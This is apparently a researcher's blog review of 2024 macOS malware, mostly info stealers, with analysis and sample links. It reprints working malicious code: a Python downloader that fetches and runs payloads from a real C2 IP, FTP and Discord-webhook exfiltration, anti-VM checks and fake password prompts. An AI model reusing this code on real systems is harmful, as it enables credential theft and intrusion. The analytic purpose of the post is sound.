The majority of samples covered in this post are available in our malware collection.
Goodbye 2024 …and hello 2025! ๐ฅณ
For what is now the 9th year in a row, I’ve put together a blog post that comprehensively covers all the new Mac malware that emerged throughout the year.
While the specimens may have been reported on before (for example by the AV company that discovered them), this blog aims to cumulatively and comprehensively cover all the new Mac malware of 2024 - in much technical detail, all in one place …yes, with samples available for download!
After reading this blog post you will have a thorough and comprehensive understanding of latest threats targeting macOS. This is especially important as Macs continue to flourish, with researchers at MacPaw’s Moonlock Lab noting a “60 percent increase [of macOS] in market share in the last 3 years alone”.
Looking forward, others predict the full dominance of macOS (in the enterprise) the end of the decade:
"Mac will become the dominant enterprise endpoint by 2030." -Jamf
Predictably macOS malware follows a similar trajectory, becoming ever more prevalent (and well, insidious).
"2024 saw a noteworthy increase in malicious activity targeting macOS users, with significant growth in both the variety and accessibility of macOS malware.
The darknet was flooded with posts and discussions on bypassing macOS defenses, leveraging AI tools for malware development, and capitalizing on social engineering to distribute macOS malware-as-a-service (MaaS)." -Moonlock Labs
That having been said, at the end of this blog, I’ve included a section dedicated to notable instances or developments of these other threats, that includes a brief overview, and links to detailed write-ups.
For each malicious specimen covered in this post, we’ll discuss the malware’s:
Infection Vector:
How it was able to infect macOS systems.
Persistence Mechanism:
How it installed itself, to ensure it would be automatically restarted on reboot/user login.
Features & Goals:
What was the purpose of the malware? a backdoor? a stealer? or something more insidious…
Also, for each malware specimen, if a public sample is available, I’ve added a direct download link, should you want to follow along with my analysis or dig into the malware more yourself. #SharingIsCaring
However, this year, given the large increase in the number of samples, I’ve decided to organize them by type, for example ransomware, stealers, etc. etc. To me this also makes more sense, as the month of discovery is somewhat irrelevant (at least from a technical point of view).
Before we dive in, let’s talk about analysis tools!
Throughout this blog, I reference various tools used in analyzing the malware specimens.
While there are a myriad of malware analysis tools, these are some of my own tools, and other favorites, that include:
ProcessMonitor
My open-source utility that monitors process creations and terminations, providing detailed information about such events.
FileMonitor
My open-source utility that monitors file events (such as creation, modifications, and deletions) providing detailed information about such events.
DNSMonitor
My open-source utility that monitors DNS traffic providing detailed information domain name questions, answers, and more.
WhatsYourSign
My open-source utility that displays code-signing information, via the UI.
Netiquette
My open-source (light-weight) network monitor.
lldb
The de-facto commandline debugger for macOS. Installed (to /usr/bin/lldb
) as part of Xcode.
Suspicious Package
A tools for “inspecting macOS Installer Packages” (.pkgs
), which also allows you to easily extract files directly from the .pkg.
Hopper Disassembler
A “reverse engineering tool (for macOS) that lets you disassemble, decompile and debug your applications” …or malware specimens.
You're in luck, as I've written a book on this topic, that is wholly free online:
|
Continuing the trend from 2023, the most common type of new macOS malware in 2024, was undoubtedly “info stealers”. Such malware is solely focused on collecting and stealing sensitive information from victims machines, such as cookies, password, certificates, crytocurrency wallets, and more:
…and, as there isn’t much need to stick around once this information is obtained, stealers often don’t persist.
Now, it’s easy to brush off stealers, however if nothing else, 2024 showed us that stealers were often a precursor to far more damaging attacks:
If you’re interested in the type of information on macOS systems, that stealers target, the SentinelOne researcher Phil Stokes (@philofishal), has written an excellent post on this very topic: “Session Cookies, Keychains, SSH Keys & More | Data Malware Steals from macOS Users.”
“Byteing Back: Detection, Dissection and Protection Against macOS Stealers”
Ok, enough overview, let’s now dive into the new macOS stealers of 2024!
CloudChat
CloudChat is fairly standard macOS stealer, focusing on largely on cryptocurrency wallets and keys. However, it does have a few tricks up its sleeve such as monitoring the clipboard. Moreover its use of Telegram as well as FTP (as an exfiltration mechanism) is interesting.
Download: CloudChat
(password: infect3d
)
Kandji researchers Adam Kohler and Christopher Lopez initially uncovered CloudChat on VirusTotal. Their subsequent analysis, “CloudChat Infostealer: How It Works, What It Does” is oft-cited here.
This was an exciting find that Christopher Lopez and I worked on all weekend! Super proud of being able to get this out! https://t.co/nHNBuUyC0y#cybersecurity #malware #infostealer #cryptostealer #cloudchat #reverseengineering #kandji #edr #mdm
— Adam Kohler (@AdamJKohler) April 8, 2024
Writeups:
Infection Vector: Fake (Video Meeting) Applications
Though the Kandji report noted they originally discovered the malware on VirusTotal, it was also available on CloudChat’s website. And what is CloudChat? Spoiler: It is a fake app, but it’s website claimed that it:
“provides you with a safe social life service…chat with friends around the world and share your unique and interesting perspectives…use pictures and videos to share your life in the circle of friends or the world…let the world applaud you without worrying about privacy being leaked.”
If the cybercriminals can get a user to downloand and run the CloudChat, they’ll be infected!
We’ve seen this approach to infecting macOS users before whereas attackers will send their targets meeting invites, then ultimately involve the victim downloading and executing what they believe is a required video-chat application, but is really malware. (See: “Malicious meeting invite fix targets Mac users”).
Persistence: None
Many stealers don’t persist, and CloudChat is no exception.
Capabilities: Stealer
If an unsuspecting victim runs the CloudChat application, the malicious logic (found within the libCloudchat.dylib
) will be executed:
We can use otool
to dump the application’s dependencies, to see (as expected) a dependency on this library:
% otool -l CloudChat.app/Contents/MacOS/CloudChat ... Load command 45 cmd LC_LOAD_DYLIB cmdsize 80 name @executable_path/../Frameworks/libCloudchat.dylib (offset 24) time stamp 2 Wed Dec 31 14:00:02 1969 current version 0.0.0 compatibility version 0.0.0
The Kandji researchers noted that after performing a geolocation check (to avoid infecting victims in China), the malware will downloaded a binary from 45.77.179.89
. Saving it as .Safari_V8_config
it then executes it:
result = _main.downloadFile(..., "http://45.77.179.89/static/clip",);
if (!result) {
_os.chmod(...);
_main.executeFileInBackground(...);
}
The downloaded binary (.Safari_V8_config
) what implements the stealer logic. By looking at it method names, we can get a pretty good idea about what it is up to:
_main.monitorClipboard
_main.executeOnce
_main.getHostnameAndUsername
_main.copyAndCompressWalletPlugins
_main.compressLogsdata
_main.uploadLogsdata
_main.isValidPrivateKey
_main.replaceAddresses
_main.sendTelegramNotification
First (again as noted by the Kandji researchers), it performs a basic survey of the infected system, which is sends to a Telegram bot. The logic for the former can be found in the getHostnameAndUsername
method, while the latter, in the aptly named sendTelegramNotification
method. Embedded strings within this method show it (ab)uses curl
in order to send the telegram notification:
curl -m %d -s -X POST -H \'Content-Type: application/json\' -d \'%s\' \'https://api.telegram.org/bot%s/sendMessage\'
The monitorClipboard
method is interesting. Its disassembly reveals it uses an open-source clipboard library to monitor the victims clipboard. As items are placed on the clipboard the malware invokes a isValidPrivateKey
method to see if the item is a private key. If so, as noted by another researcher, Alden, who also analyzed the malware, “[the malware] will replace the clipboard contents with an attacker controlled wallet string”:
while (true) {
rax_1 = github.com/atotto/clipboard.readAll(...);
...
if(main.isValidPrivateKey(...)) {
main.replaceAddresses(...);
github.com/atotto/clipboard.writeAll(...);
}
}
The downloaded binary (.Safari_V8_config
) also, as is common to many stealers, looks for common cryptocurrency wallets. Specifically, it looks for those that are implemented as Chrome extensions. Any such cryptocurrency wallets are compressed and exfiltrated. Rather unusually, the exfiltration is done via FTP:
main.uploadLogsdata() {
...
char* var_50 = "--ftp-create-dirs"
char* var_30 = "mars:LnW4BhIdjOsVZzK0"
void* var_20 = "ftp://45.77.179.89/upload/encounโฆ";
...
os/exec.(*Cmd).Run(_os/exec.Command(..., "curl", ...);
}
If you’re interested in digging a bit deeper into CloudChat, see Kandji’s excellent write-up: “CloudChat Infostealer: How It Works, What It Does”.
Poseidon
(Rodrigo
)Poseidon, is a macOS stealer written by ‘Rodrigo’. Its main rival is Amos, with which it roughly shares the same features and stealer capabilities.
Download: Poseidon
(password: infect3d
)
Researchers from MacPaw’s ‘Moonlock Lab’ were first to uncover, and subsequently detail Poseidon:
1/4: We've discovered a fully undetectable #stealer targeting #macOS. It has maintained a zero-detection rate on VirusTotal since its first submission on 17/05/2024. This stealer is allegedly linked to Rodrigo4, a known Russian-speaking threat actor from XSS underground forums. pic.twitter.com/GWj0usUC1x
— Moonlock Lab (@moonlock_lab) May 23, 2024
Shortly thereafter, an ‘interview’ with the creator ‘Rodrigo’ was posted by g0njxa
:
Writeups:
“From Amos to Poseidon” -SentinelOne
“Approaching stealers devs : a brief interview with Poseidon” -g0njxa
“Poseidon Mac stealer distributed via Google ads” -Malwarebytes
Infection Vector: Google Ads, Pirated Applications, etc.
Most stealers conform to a “Malware as a Service” (MaaS) model, whereas “Traffer Teams” (unrelated to the original malware author) focus on the distribution of the malware to indiscriminately infect victims. Poseidon follows this approach.
In a post, researchers at Malwarebytes detailed how Poseidon was distributed via malicious (Google) ads. In one instance they showed the user’s searching for the Arc Browser would be shown a malicious ad:
If the user (inadvertently?) clicked on the ad, they would be taken to a site, that mimicked the real Arc Browser site:
Clicking ‘Download Arc’, would download the Poseidon …and if the user’s then ran it, they would become infected:
In MoonLock’s post, they also noted that the malware was seen in (possible cracked) applications:
"The main [malware] payload ...is found in CleanMyMacCrack.dmg." -Moonlock Labs
Persistence: None
Many stealers don’t persist, and Poseidon is no exception.
Capabilities: Stealer
Stealers, well, steal stuff ...including cookies and cryptocurrency wallets. And what does Poseidon steal? Well MoonLock's researchers state:"The script ...collects data from various sources (browsers, files, system info), and sends the collected data to a server via curl" -Moonlock Labs
We can see the specifics of this activity in the following screenshot:
In another sample (detailed by researchers at SentinelOne), we can see rather descriptive method names that shed additional insight into its stealer capabilities.
To exfiltrate the data it has collected, Poseidon (as noted earlier), (ab)uses curl:
Cthulhu
Cthulhu is yet another macOS stealer that conforms to the malware-as-a-service (MaaS) model. Written in Go, it has a lot of overlaps with AMOS, and a propensity for stealing credentials related to cryptocurrency wallets but also games.
Download: Cthulhu
(password: infect3d
)
Researchers at Cado Security, originally uncovered and analyzed Cthulhu.
Recently, Cado Security has identified a malware-as-a-service (MaaS) targeting macOS users named โCthulhu Stealerโ. This blog will explore the functionality of this malware and provide insight into how its operators carry out their activities: https://t.co/nJCt6RnUfG
— Cado (@CadoSecurity) August 22, 2024
Writeups:
“From the Depths: Analyzing the Cthulhu Stealer Malware for macOS” -Cado Security
“MacOS Malware Mimicked Popular Apps to Steal Passwords, Crypto Wallets” -PC Magazine
Infection Vector: Fake Applications
As is common practice with macOS stealers, the malware is distributed via fake applications. This means users must be both tricked into downloading and running the malware in order to be infected:
"The [malware] gets on a victim's computer by disguising itself as a legitimate program. Examples cited by Cado include CleanMyMac, Grand Theft Auto IV (likely a typo for VI), and Adobe GenP.
Those who try to install the software will get a warning about bypassing Apple's Gatekeeper, which is designed to prevent malicious downloads. " -PC Magazine
The example below illustrates an instance of Cthulhu, distributed as a “Early Access” GTA application:
Though the malware appeared to be initially (inadvertently) notarized by Apple, said notarization is now revoked:
Persistence: None
Many stealers don’t persist, and Cthulhu
is no exception.
Capabilities: Stealer
"The main functionality of Cthulhu Stealer is to steal credentials and cryptocurrency wallets from various stores, including game accounts." -Cado Security
When Cthulhu
is launched, it will execute a snippet of AppleScript to display a prompt that requests the user’s password:
We find the AppleScript directly embedded in the malicious binary:
This password allows the stealer to perform actions, such as dumping the user (macOS) key chain.
Similar to other stealers, the method names are not obfuscated, and thus we can get a good sense of the stealers capabilities from them:
_main.getLoginKeychain
_main.saveSystemInfoToFile
_main.runCommand
_main.battlenetChecker
_main.binanceChecker
_main.daedalusChecker
_main.electrumChecker
_main.exodusChecker
_main.filezillaChecker
_main.minecraftChecker
...
_main.telegramFunction
_main.copyKeychainFile
_main.getExtensionsWallets
_main.getSubdirectories
...
_main.createZipArchive
...
_main.GetCookiesDBPath
_main.GetCookies
For example if we take a closer look at the getLoginKeychain
, in its disassembly we can see it first executes macOS’ built-in security
command with the list-keychains
command line option:
0x1004cc7a6 lea rdx, [rel data_1006e1ccf] {"list-keychains"}
...
0x1004cc7b2 lea rax, [rel data_1006deeec[0x51]] {"security"}
...
0x1004cc7cb call _os/exec.Command
With the path to the keychain, it then makes use of the open-source Chainbreaker
project which can (given a user’s password) extract information from the keychain.
As the names of other methods indicate, the malware will also attempt to collect information/credentials from the user browser(s), cryptocurrency wallets, and yes, even games (Minecraft, Battlenet, etc.).
Via a file monitor, we can see that the malware will write out the data it collects (such as the keychain) to /Users/Shared/NW/
:
% FileMonitor.app/Contents/MacOS/FileMonitor -filter GTAIV_EarlyAccess_MACOS { "event" : "ES_EVENT_TYPE_NOTIFY_WRITE", "file" : { "destination" : "/Users/Shared/NW/Keychain.txt", "process" : { "pid" : 13892 "name" : "GTAIV_EarlyAccess_MACOS", } } }
The Cado Security researchers note all the collected data is then zipped up, and sent to the attackers server (found at 89.208.103.185
).
BeaverTail
BeaverTail is a DPRK macOS stealer that targets users via a trojanized meeting app.
Download: BeaverTail
(password: infect3d
)
BeaverTail
was originally detected by malwrhunterteam, who tweeted the following:
Interesting, FUD on VT, "MiroTalk.dmg": 9abf6b93eafb797a3556bea1fe8a3b7311d2864d5a9a3687fce84bc1ec4a428c
— MalwareHunterTeam (@malwrhunterteam) July 15, 2024
Payload / next stages are coming from 95.164.17[.]24:1224 (Stark AS 44477).
From a quick look, the next stages includes stealing from browsers, keylogging, installing AnyDesk,โฆ pic.twitter.com/YRIMLPl5r8
Writeups:
Infection Vector: Fake (Video Meeting) Applications
In their posting, malwrhunterteam has kind enough to provide a hash and as this file is on VirusTotal we can grab it for our own analysis purposes.
First, though, were did it come from? Poking around on VirusTotal we see that the disk image was spotted in the wild (“ITW”) at https://mirotalk.net/app/MiroTalk.dmg
This site is currently offline:
% nslookup mirotalk.net Server: 1.1.1.1 Address: 1.1.1.1#53 ** server can't find mirotalk.net: NXDOMAIN
However, looking at Google’s cache we can see its a clone of the legitimate Miro Talk site, https://meet.no42.org
.
Miro Talk is a legitimate application that provides “free browser-based real-time video calls”, that allows your to “start your next video call with a single click. No download, plug-in, or login is required”
It’s common for DPRK hackers to target their victims by posing as job hunters. A recent write up, titled, “Hacking Employers and Seeking Employment: Two Job-Related Campaigns Bear Hallmarks of North Korean Threat Actors” published by Palo Alto Network’s Unit42 research group provides one such (likely DPRK) campaign. And in fact it appears the malware we’re covering today is directly related to this campaign!
If I had to guess, the DPRK hackers likely approached their potential victims, requesting that they join a
hiring meeting, by download and executing the (infected version of) Miro Talk
hosted on mirotalk.net
. (Yes, even the cloned site states, that you can “start your next video call with a single click. No download, … is required.” but I guess, who reads the fine print?).
If the targeted victims downloaded the fake MicroTalk app, and ran it, they’d be infected
Persistence: None
Though BeaverTail itself does not persist, it has the ability to download 2nd stage payloads (such as the InvisibleFerret
backdoor), which may persist.
Capabilities: Stealer (+ Downloader)
Though BeaverTail is a stealer, it also will download and execute 2nd stage payloads, that include fully featured backdoors.
Let’s start by statically analyzing the app that found on the disk image. Specificially, the app’s executable binary, named Jami
that is a 64-bit Intel Mach-O executable:
% file /Volumes/MiroTalk/MiroTalk.app/Contents/MacOS/Jami /Volumes/MiroTalk/MiroTalk.app/Contents/MacOS/Jami: Mach-O 64-bit executable x86_64
Extracting embedded symbols (via nm
) and strings reveal its likely capabilities:
% nm /Volumes/MiroTalk/MiroTalk.app/Contents/MacOS/Jami | c++filt ... 0000000100007100 T MainFunc::fileUpload() 00000001000080e0 T MainFunc::pDownFinished() 0000000100007b70 T MainFunc::upLDBFinished() ... 0000000100004f10 T MainFunc::setBaseBrowserUrl() 0000000100008810 T MainFunc::clientDownFinished() 0000000100007900 T MainFunc::run() 0000000100004f00 T MainFunc::MainFunc(QObject*) % strings /Volumes/MiroTalk/MiroTalk.app/Contents/MacOS/Jami http://95.164.17.24:1224 nkbihfbeogaeaoehlefnkodbefgpgknn ejbalbakoplchlghecdalmeeeajnimhm fhbohimaelbohpjbbldcngcnapndodjp hnfanknocfeofbddgcijnmhnfnkdnaad ibnejdfjmmkpcnlpebklmnkoeoihofec bfnaelmomeimhlpmgjnjophhpkkoljpa ... C:\Users /home /Users /AppData/Local/Google/Chrome/User Data /Library/Application Support/Google/Chrome /AppData/Local/BraveSoftware/Brave-Browser/User Data /Library/Application Support/BraveSoftware/Brave-Browser /AppData/Roaming/Opera Software/Opera Stable ... /Library/Keychains/login.keychain-db /uploads Upload LDB Finshed!!! /pdown /client/99 Download Python Success! --directory /.pyp/python.exe Download Client Success!
Specifically from the symbol’s output we see methods names (fileUpload
, pDownFinished
, run
) that reveal likely exfiltration and download & execute capabilities. (Note to demangle embedded symbols we pipe nm
’s output through c++filt
).
And from embedded strings we see both the address of the likely command & control server, 95.164.17.24:1224
and also hints as to the type of information the malware collect for exfiltration. Specifically browser extension IDs of popular crypto-currency wallets, paths to user browsers’ data, and the macOS keychain. Other strings are related to the download and execution of additional payloads which appear to malicious python scripts.
Other symbols and strings reveal that the application was packaged up via the Qt/QMake framework. For example, a string in the app’s Info.plist
file states: “This file was generated by Qt/QMake”.
If we load the /Volumes/MiroTalk/MiroTalk.app/Contents/MacOS/Jami
into a disassembler we see the embedded strings referenced in methods that are aptly named. For example the setBaseBrowserUrl
method references strings relates to browser paths:
1int setBaseBrowserUrl(int arg0) {
2 ...
3 var_20 = QString::fromAscii_helper("/Library/Application Support/Google/Chrome", 0x2a);
If we run the application in a virtual machine, at first, nothing appears amiss:
But a file monitor shows that Jami
is rather busy, for example attempting to read the user’s keychain:
# ./FileMonitor.app/Contents/MacOS/FileMonitor -pretty -filter Jami { "event" : "ES_EVENT_TYPE_NOTIFY_OPEN", "file" : { "destination" : "/Users/user/Library/Keychains/login.keychain-db", "process" : { "pid" : 923, "name" : "Jami", "path" : "/Volumes/MiroTalk/MiroTalk.app/Contents/MacOS/Jami", "architecture" : "Intel", ... } } }
Also in a debugger, it helpfully displays the files it will (if present) exfiltrate:
("/Users/Shared/Library/Keychains/login.keychain-db", "/Users/Shared/Library/Application Support/Google/Chrome/Local State", "/Users/Shared/Library/Application Support/BraveSoftware/Brave-Browser/Local State", "/Users/Shared/Library/Application Support/com.operasoftware.opera/Local State", "/Users/user/Library/Keychains/login.keychain-db", "/Users/user/Library/Application Support/Google/Chrome/Local State", "/Users/user/Library/Application Support/BraveSoftware/Brave-Browser/Local State", "/Users/user/Library/Application Support/com.operasoftware.opera/Local State")
It then attempts to exfiltrate these to its command & control server (95.164.17.24
on port 1224
). However, this appears to fail, as noted in the debugger output:
Jami[923:32727] Error: QNetworkReply::TimeoutError
Also it appears that the 2nd-stage payloads, for example the one that is retrieved via the request to client/99
are failing, though the error message provides information as to the file that was originally served up (main99.py
)
1<!DOCTYPE html>
2<html lang="en">
3<head>
4<meta charset="utf-8">
5<title>Error</title>
6</head>
7<body>
8<pre>Error: UNKNOWN: unknown error, open 'D:\server\backend server\assets\client\main99.py'</pre>
9</body>
10</html>
However, if we return back to the embedded strings, recall the API endpoints the malware attempts to communicate with (to both upload and download files) include uploads
, pdown
and /client/99
. If you read the aforementioned Palo Alto Networks report we find the same API endpoints mentioned!
At that time, the PANW researchers noted the malware they dubbed BeaverTail
(that was communicating with these same endpoints) was “JavaScript-based”. It seems the the DPRK hackers have now created a native-version of the malware, which is what we’re focusing on here.
Recall also that malwrhunterteam noted that the command & control server, (95.164.17.24
) is a known DPRK server. If query it via VirusTotal we find information about the files it was hosting:
Though some are not longer available, others were scanned by VirusTotal including client/5346
, which turns out to be a simple cross-platform Python
downloader (and executor):
1import base64,platform,os,subprocess,sys
2try:import requests
3except:subprocess.check_call([sys.executable, '-m', 'pip', 'install', 'requests']);import requests
4
5sType = "5346"
6gType = "root"
7ot = platform.system()
8home = os.path.expanduser("~")
9#host1 = "10.10.51.212"
10host1 = "95.164.17.24"
11host2 = f'http://{host1}:1224'
12pd = os.path.join(home, ".n2")
13ap = pd + "/pay"
14def download_payload():
15 if os.path.exists(ap):
16 try:os.remove(ap)
17 except OSError:return True
18 try:
19 if not os.path.exists(pd):os.makedirs(pd)
20 except:pass
21
22 try:
23 if ot=="Darwin":
24 # aa = requests.get(host2+"/payload1/"+sType+"/"+gType, allow_redirects=True)
25 aa = requests.get(host2+"/payload/"+sType+"/"+gType, allow_redirects=True)
26 with open(ap, 'wb') as f:f.write(aa.content)
27 else:
28 aa = requests.get(host2+"/payload/"+sType+"/"+gType, allow_redirects=True)
29 with open(ap, 'wb') as f:f.write(aa.content)
30 return True
31 except Exception as e:return False
32res=download_payload()
33if res:
34 if ot=="Windows":subprocess.Popen([sys.executable, ap], creationflags=subprocess.CREATE_NO_WINDOW | subprocess.CREATE_NEW_PROCESS_GROUP)
35 else:subprocess.Popen([sys.executable, ap])
36
37if ot=="Darwin":sys.exit(-1)
38
39ap = pd + "/bow"
40
41def download_browse():
42 if os.path.exists(ap):
43 try:os.remove(ap)
44 except OSError:return True
45 try:
46 if not os.path.exists(pd):os.makedirs(pd)
47 except:pass
48 try:
49 aa=requests.get(host2+"/brow/"+ sType +"/"+gType, allow_redirects=True)
50 with open(ap, 'wb') as f:f.write(aa.content)
51 return True
52 except Exception as e:return False
53res=download_browse()
54if res:
55 if ot=="Windows":subprocess.Popen([sys.executable, ap], creationflags=subprocess.CREATE_NO_WINDOW | subprocess.CREATE_NEW_PROCESS_GROUP)
56 else:subprocess.Popen([sys.executable, ap])
Others, such as payload/5346
are appear to be fully-featured cross-platform Python backdoor dubbed by the PANW
researchers as InvisibleFerret
. This again ties this malware to the previous PANW analysis as they noted the (JavaScript variant of) BeaverTail
“retrieves additional malware as its second-stage payload. This payload is a cross-platform backdoor we have named InvisibleFerret.”
PyStealer
PyStealer
is a python-based stealer, that besides relatively standard stealer logic, also contains some anti-analysis logic.
Download: PyStealer
(password: infect3d
)
Researchers from MacPaw’s ‘Moonlock Lab’ were first to uncover PyStealer
on VirusTotal and provide some initial details about the stealer:
1/4: New macOS stealer sample detected. First submission: 2023-12-04. Undetected by VirusTotal. Pretends to be a legit Mac app. Uses PyInstaller and parts of base64 https://t.co/TmKsHAwDo3ย #macos #malware #stealer pic.twitter.com/549PS392CP
— Moonlock Lab (@moonlock_lab) February 27, 2024
Writeups:
Infection Vector: Fake Documents
Though we don’t have much insight into how PyStealer
targets it victims, mounting its disk image shows that it is likely attempting to trick users into open something masquerading as a PDF “Engineer” document:
Using WhatsYourSign
we can see that this is (unsurprisingly) ‘Engineer Documents’ is not document, but rather an application (that’s ad-hoc signed):
Thus, if the user is tricked into opening the item (and clicking through the macOS security warnings) they will become infected.
Persistence: None
Many stealers don’t persist, and PyStealer
is no exception.
Capabilities: Stealer
In their X thread, the Moonlock Lab’s researchers noted the malware was created with PyInstaller …which means we should be able to recover a representation of the original Python code …which as we’ll see makes analysis a breeze.
First, we extract the compiled Python byte code (.pyc
files) via pyinstxtractor
:
% python3 pyinstxtractor.py "/Volumes/Empire File Transfer/Engineer Documents.app/Contents/MacOS/Engineer Documents" [+] Processing /Volumes/Empire File Transfer/Engineer Documents.app/Contents/MacOS/Engineer Documents [+] Pyinstaller version: 2.1+ [+] Python version: 3.10 [+] Length of package: 6817203 bytes [+] Found 13 files in CArchive [+] Beginning extraction...please standby [+] Possible entry point: Engineer Documents.pyc ... [+] Successfully extracted pyinstaller archive: /Volumes/Empire File Transfer/Engineer Documents.app/Contents/MacOS/Engineer Documents
The extracted .pyc
files can now be found in a directory named Engineer Documents_extracted
:
% ls "Engineer Documents_extracted" Engineer Documents.pyc PYZ-00.pyz_extracted pyi_rth_multiprocessing.pyc ...
Though we could possible uses another commandline utility (such as uncompyle6
or decompyle3
) to convert the extract compiled Python byte code files back into Python code, its easier to just do it online for example via pylingual:
Decompiling the Engineer Documents.pyc
file reveals the Python code of the stealer.
First (as noted by the Moonlock Labs researchers), we see the malware’s basic anti-analysis logic. Specifically in a function named antiVM
we see that malware will exit if it finds itself running in a virtual machine (VM):
def antiVM():
hwModel = subprocess.run('sysctl -n hw.model', shell=True, capture_output=True)
resp = str(hwModel.stdout)[2:][:3]
if resp!= 'Mac':
killSwitch()
hwMemsize = subprocess.run('sysctl -n hw.memsize', shell=True, capture_output=True)
resp = str(hwMemsize.stdout)[2:][:(-3)]
if int(resp) < 3999999999:
killSwitch()
ioPlat = subprocess.run('ioreg -rd1 -c IOPlatformExpertDevice', shell=True, text=True, capture_output=True)
resp = ioPlat.stdout
IOPlatformSN = str(re.search('(?<=IOPlatformSerialNumber\" = \")[^\\\"]*', resp).group())
if IOPlatformSN == 0:
killSwitch()
boardiD = str(re.search('(?<=board-id\" = <\")[^\\\"]*', resp).group())
if 'VirtualBox' in boardiD:
killSwitch()
if 'VM Ware' in boardiD:
killSwitch()
manuF = str(re.search('(?<=manufacturer\" = <\")[^\\\"]*', resp).group())
if 'Apple' in manuF:
break
killSwitch()
usbD = subprocess.run('ioreg -rd1 -c IOUSBHostDevice | grep \"USB Vendor Name\"', shell=True, text=True, capture_output=True)
resp = usbD.stdout
if 'VMware' in str(resp):
killSwitch()
if 'VirualBox' in str(resp):
killSwitch()
ioRegL = subprocess.run('ioreg -l | grep -i -c -e \"virtualbox\" -e \"oracle\" -e \"vmware\"', shell=True, text=True, capture_output=True)
resp = ioRegL.stdout
if int(resp) > 0:
killSwitch()
vmFolder = os.path.exists('//Library/Application Support/VMWare Tools')
if vmFolder == True:
killSwitch()
procesS = subprocess.run('pgrep vmware-tools-daemon', shell=True, text=True, capture_output=True)
resp = procesS.stdout
if len(resp) > 0:
killSwitch()
mac = ':'.join(re.findall('...', '%012x' % uuid.getnode()))
mcList = ['00:05:69', '00:0c:29', '00:1c:14', '00:50:56', '08:00:27', '00:1C:42', '00:16:42', '0A:00:27']
if mac[:8] in mcList:
killSwitch()
This anti-VM check is quite comprehensive. For instance, it even inspects the system’s MAC address to determine if it belongs to a virtual machine vendor, using the OUI (Organizationally Unique Identifier).
In order to get the user’s password, the stealer executes a snippet of AppleScript in an aptly-named function getPassword
:
def getPassword():
global userPass # inserted
user = str(os.environ['USER'])
applescript = '\n display dialog \"Preview needs permissions to access Downloads \n\nEnter Password Below\" default answer \"\" with title \"Preview\" with icon POSIX file \"/Users/' + str(user) + '/image.icns\" buttons {\"Allow\"} with hidden answer'
p = subprocess.run('osascript -e \'{}\''.format(applescript), shell=True, capture_output=True)
resp = p.stdout.decode('utf-8')
resp = re.sub('^.*?:', '', resp)
AADADF18 = str(re.sub('^.*?:', '', resp))
if AADADF18[(-1)] == '\n':
AADADF18 = AADADF18[:(-1)]
a = subprocess.run('dscl /Local/Default -authonly ' + user + ' ' + AADADF18, shell=True, capture_output=True)
resp1 = a.stdout.decode('utf-8')
resp1 = re.sub('^.*?:', '', resp1)
AADADF19 = str(re.sub('^.*?:', '', resp1))[:(-1)]
if len(AADADF19) == 0:
userPass = AADADF18
else: # inserted
if len(AADADF19) > 0:
getPassword()
getPassword()
The password is validated via the dscl
command (that is executed with the -authonly
commandline flag).
The core stealer logic is pretty normal, focusing on collecting browser cookies and credentials for cryptocurrency wallets. This data is then zipped up and send to a Discord Webhook.
For example, here is the code that attempts to steal Safari cookies for certain sites:
def safariDestroy(path):
cookiesWH = str(base64.b64decode('aHR0cHM6Ly9kaXNj...2Qi1GVA==').decode('utf-8'))
folder = os.makedirs('/Users/' + user + '/~/Documents/Safari')
sites = ['google.com', 'dropbox.com', 'wetransfer.com', 'drive.google.com', ...]
i = 0
try:
for url in sites:
cookies = browser_cookie3.safari(domain_name=sites[i])
site = os.makedirs('/Users/' + user + '/~/Documents/Safari/Sites/' + sites[i])
path = '/Users/' + user + '/~/Documents/Safari/Sites/' + sites[i] + '/' + sites[i] + '.txt'
f = open(path, 'w')
f.write(str(cookies))
f.close()
time.sleep(0.1)
i += 1
zip = shutil.make_archive('/Users/' + user + '/Safari Cookies', 'zip', '/Users/' + user + '/~/Documents/Safari/Sites')
clear = shutil.rmtree('/Users/' + user + '/~')
...
r = requests.post(cookiesWH, files={'file': open('/Users/' + user + '/Safari Cookies.zip', 'rb')})
r.close()
clear = os.remove('/Users/' + user + '/Safari Cookies.zip')
except:
...
Note that the cookiesWH
variable is set to a Discord webhook.
The stealer will also attempt to exfiltrate the user’s phone book (AddressBook-v22.abcddb
), common cryptocurrency wallets, and files matching extensions such as .zip
, .rar
, etc. (The latter are uploaded to server returned by querying https://api.gofile.io/getServer
).
If you’re interested more in this stealer, have a look at its Python code, which I’ve added to the sample for download.
Banshee
Banshee is fairly standard macOS stealer, whose source code was leaked, making analysis a breeze!
Download: Banshee
(password: infect3d
)
The security researcher and privacy activist Alex Kleber, originally tweeted about Banshee:
New macOS stealer variant a.k.a "Banshee" sold on dark forums pic.twitter.com/jj4zl0rtUG
— Alex Kleber a.k.a Privacy 1st (@privacyis1st) August 12, 2024
Shortly thereafter is was analyzed by researchers from Elastic.
And, a few months later its source code was leaked
Writeups:
“From Amos to Poseidon” -SentinelOne
“Beyond the wail: deconstructing the BANSHEE infostealer” -Elastic
Infection Vector: Fake Applications
As with most other stealers, Banshee conforms to the “Malware as a Service” (MaaS) model, meaning the original malware author is not responsible to its distribution.
In a report from SentinelOne, researchers highlighted that the malware was observed in applications posing as legitimate ones.
"A leaked loader for Banshee stealer ...was recently seen masquerading as the Obsidian note-taking app. " -Phil Stokes
Persistence: None
Many stealers don’t persist, and Banshee
is no exception.
Capabilities: Stealer
The original analysis of Banshee noted it performed “standard” stealer actions that obtaining the user’s password and then collecting data from:
The macOS keychain
Browsers (cookies, etc.)
Cryptocurrency wallets
Files (conforming to extensions such as .doc
, etc.)
As the source code of the stealer was leaked, it trivial to understand exactly how it accomplishes each of these actions.
For example here is a snippet of code (from the malware’s System.m
) that requests the user’s password via AppleScript:
1- (void)getMacOSPassword {
2 NSString *username = NSUserName();
3 for (int i = 0; i < 5; i++) {
4 NSString *dialogCommand = @"osascript -e 'display dialog \"To launch the application, you need to update the system settings \n\nPlease enter your password.\" with title \"System Preferences\" with icon caution default answer \"\" giving up after 30 with hidden answer'";
5
6 NSString *dialogResult = [Tools exec:dialogCommand];
7 NSString *password = @"";
8
9 NSRange startRange = [dialogResult rangeOfString:@"text returned:"];
10 ...
11 password = [dialogResult substringFromIndex:startRange.location];
12
13
14 if ([self verifyPassword:username password:password]) {
15 SYSTEM_PASS = password;
16 DebugLog(@"Password saved successfully.");
17 break;
18 } else {
19 DebugLog(@"Password verification failed.");
20 }
21 }
22}
23
